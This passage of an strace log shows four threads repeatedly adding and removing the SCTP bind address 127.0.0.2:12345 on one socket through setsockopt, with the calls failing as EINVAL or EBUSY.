[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
